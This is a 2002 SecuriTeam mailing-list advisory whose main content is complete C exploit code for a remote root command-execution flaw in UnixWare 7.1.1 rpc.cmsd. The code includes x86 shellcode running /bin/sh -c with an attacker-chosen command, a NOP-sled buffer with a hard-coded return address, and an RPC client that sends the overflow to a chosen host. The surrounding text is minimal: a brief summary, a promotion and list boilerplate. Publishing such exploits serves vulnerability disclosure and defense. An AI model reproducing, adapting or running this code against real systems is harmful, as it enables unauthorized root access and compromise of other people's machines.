[EXPL] UnixWare 7.1.1 rpc.cmsd Remote Exploit

From: support@securiteam.com
Date: 01/17/02


From: support@securiteam.com
To: list@securiteam.com
Date: Thu, 17 Jan 2002 22:43:56 +0100 (CET)

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
- - promotion

When was the last time you checked your server's security?
How about a monthly report?
http://www.AutomatedScanning.com - Know that you're safe.
- - - - - - - - -

  UnixWare 7.1.1 rpc.cmsd Remote Exploit
------------------------------------------------------------------------

SUMMARY

A security vulnerability in rpc.cmsd (Calendar Manager Service) allows
remote attackers to execute arbitrary commands with root privileges. The
following is an exploit code for UnixWare 7.1.1

DETAILS

Exploit:
/*
* UnixWare 7.x rpc.cmsd exploit by jGgM
* http://www.netemperor.com/en/
* EMail: jggm@mail.com
*/

#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <rpc/rpc.h>

#define CMSD_PROG 100068
#define CMSD_VERS 4
#define CMSD_PROC 21

#define BUFFER_SIZE 1036
#define SHELL_START 1024
#define RET_LENGTH 12
#define ADJUST 100
#define NOP 0x90
#define LEN 68

char shell[] =
/* 0 */ "\xeb\x3d" /* jmp springboard [2000]*/
/* syscall: [2000]*/
/* 2 */ "\x9a\xff\xff\xff\xff\x07\xff" /* lcall 0x7,0x0 [2000]*/
/* 9 */ "\xc3" /* ret [2000]*/
/* start: [2000]*/
/* 10 */ "\x5e" /* popl %esi [2000]*/
/* 11 */ "\x31\xc0" /* xor %eax,%eax [2000]*/
/* 13 */ "\x89\x46\xbf" /* movl %eax,-0x41(%esi) */
/* 16 */ "\x88\x46\xc4" /* movb %al,-0x3c(%esi) */
/* 19 */ "\x89\x46\x0c" /* movl %eax,0xc(%esi) */
/* 22 */ "\x88\x46\x17" /* movb %al,0x17(%esi) */
/* 25 */ "\x88\x46\x1a" /* movb %al,0x1a(%esi) */
/* 28 */ "\x88\x46\xff" /* movb %al,0x??(%esi) */
/* execve: [2000]*/
/* 31 */ "\x31\xc0" /* xor %eax,%eax [2000]*/
/* 33 */ "\x50" /* pushl %eax [2000]*/
/* 34 */ "\x56" /* pushl %esi [2000]*/
/* 35 */ "\x8d\x5e\x10" /* leal 0x10(%esi),%ebx */
/* 38 */ "\x89\x1e" /* movl %ebx,(%esi)[2000]*/
/* 40 */ "\x53" /* pushl %ebx [2000]*/
/* 41 */ "\x8d\x5e\x18" /* leal 0x18(%esi),%ebx */
/* 44 */ "\x89\x5e\x04" /* movl %ebx,0x4(%esi) */
/* 47 */ "\x8d\x5e\x1b" /* leal 0x1b(%esi),%ebx */
/* 50 */ "\x89\x5e\x08" /* movl %ebx,0x8(%esi) */
/* 53 */ "\xb0\x3b" /* movb $0x3b,%al [2000]*/
/* 55 */ "\xe8\xc6\xff\xff\xff" /* call syscall [2000]*/
/* 60 */ "\x83\xc4\x0c" /* addl $0xc,%esp [2000]*/
/* springboard: [2000]*/
/* 63 */ "\xe8\xc6\xff\xff\xff" /* call start [2000]*/
/* data: [2000]*/
/* 68 */ "\xff\xff\xff\xff" /* DATA [2000]*/
/* 72 */ "\xff\xff\xff\xff" /* DATA [2000]*/
/* 76 */ "\xff\xff\xff\xff" /* DATA [2000]*/
/* 80 */ "\xff\xff\xff\xff" /* DATA [2000]*/
/* 84 */ "\x2f\x62\x69\x6e\x2f\x73\x68\xff" /* DATA [2000]*/
/* 92 */ "\x2d\x63\xff"; /* DATA [2000]*/

struct cm_send {
  char *s1;
  char *s2;
};

struct cm_reply {
  int i;
};

bool_t xdr_cm_send(XDR *xdrs, struct cm_send *objp)
{
  if(!xdr_wrapstring(xdrs, &objp->s1))
    return (FALSE);
  if(!xdr_wrapstring(xdrs, &objp->s2))
    return (FALSE);
  return (TRUE);
}

bool_t xdr_cm_reply(XDR *xdrs, struct cm_reply *objp)
{
  if(!xdr_int(xdrs, &objp->i))
    return (FALSE);
  return (TRUE);
}

long get_ret() {
  return 0x8047720;
}

int
main(int argc, char *argv[])
{
  char buffer[BUFFER_SIZE + 1];
  long ret, offset;
  int len, x, y;
  char *command, *hostname;
  
  CLIENT *cl;
  struct cm_send send;
  struct cm_reply reply;
  struct timeval tm = { 10, 0 };
  enum clnt_stat stat;
  
  if(argc < 3 || argc > 4) {
    printf("Usage: %s [hostname] [command] [offset]\n", argv[0]);
    exit(1);
  } // end of if..
  
  hostname = argv[1];
  command = argv[2];
  
  if(argc == 4) offset = atol(argv[3]);
  else offset=0;
  
  len = strlen(command);
  len++;
  len = -len;
  shell[LEN+0] = (len >> 0) & 0xff;
  shell[LEN+1] = (len >> 8) & 0xff;
  shell[LEN+2] = (len >> 16) & 0xff;
  shell[LEN+3] = (len >> 24) & 0xff;
  
  shell[30] = (char)(strlen(command) + 27);
  
  ret = get_ret() + offset;
  
  for(x=0; x<BUFFER_SIZE; x++) buffer[x] = NOP;
  
  x = BUFFER_SIZE - RET_LENGTH - strlen(shell) - strlen(command) - 1 -
ADJUST;
  
  for(y=0; y<strlen(shell); y++)
    buffer[x++] = shell[y];
  
  for(y=0; y<strlen(command); y++)
    buffer[x++] = command[y];
  
  buffer[x] = '\xff';
  
  x = SHELL_START;
  for(y=0; y<(RET_LENGTH/4); y++, x=x+4)
    *((int *)&buffer[x]) = ret;
  
  buffer[x] = 0x00;
  
  printf("host = %s\n", hostname);
  printf("command = '%s'\n", command);
  printf("ret address = 0x%x\n", ret);
  printf("buffer size = %d\n", strlen(buffer));
  
  send.s1 = buffer;
  send.s2 = "";
  
  cl = clnt_create(hostname, CMSD_PROG, CMSD_VERS, "udp");
  if(cl == NULL) {
    clnt_pcreateerror("clnt_create");
    printf("exploit failed; unable to contact RPC server\n");
    exit(1);
  }
  cl->cl_auth = authunix_create("localhost", 0, 0, 0, NULL);
  stat = clnt_call(cl, CMSD_PROC, xdr_cm_send, (caddr_t) &send,
    xdr_cm_reply, (caddr_t) &reply, tm);
  if(stat == RPC_SUCCESS) {
    printf("exploit is failed!!\n");
    clnt_destroy(cl);
    exit(1);
  } else {
    printf("Maybe, exploit is success!!\n");
    clnt_destroy(cl);
    exit(0);
  }
}

ADDITIONAL INFORMATION

The information has been provided by <mailto:jggm@mail.com> jGgM.

========================================

This bulletin is sent to members of the SecuriTeam mailing list.
To unsubscribe from the list, send mail with an empty subject line and body to: list-unsubscribe@securiteam.com
In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

====================
====================

DISCLAIMER:
The information in this bulletin is provided "AS IS" without warranty of any kind.
In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.



Relevant Pages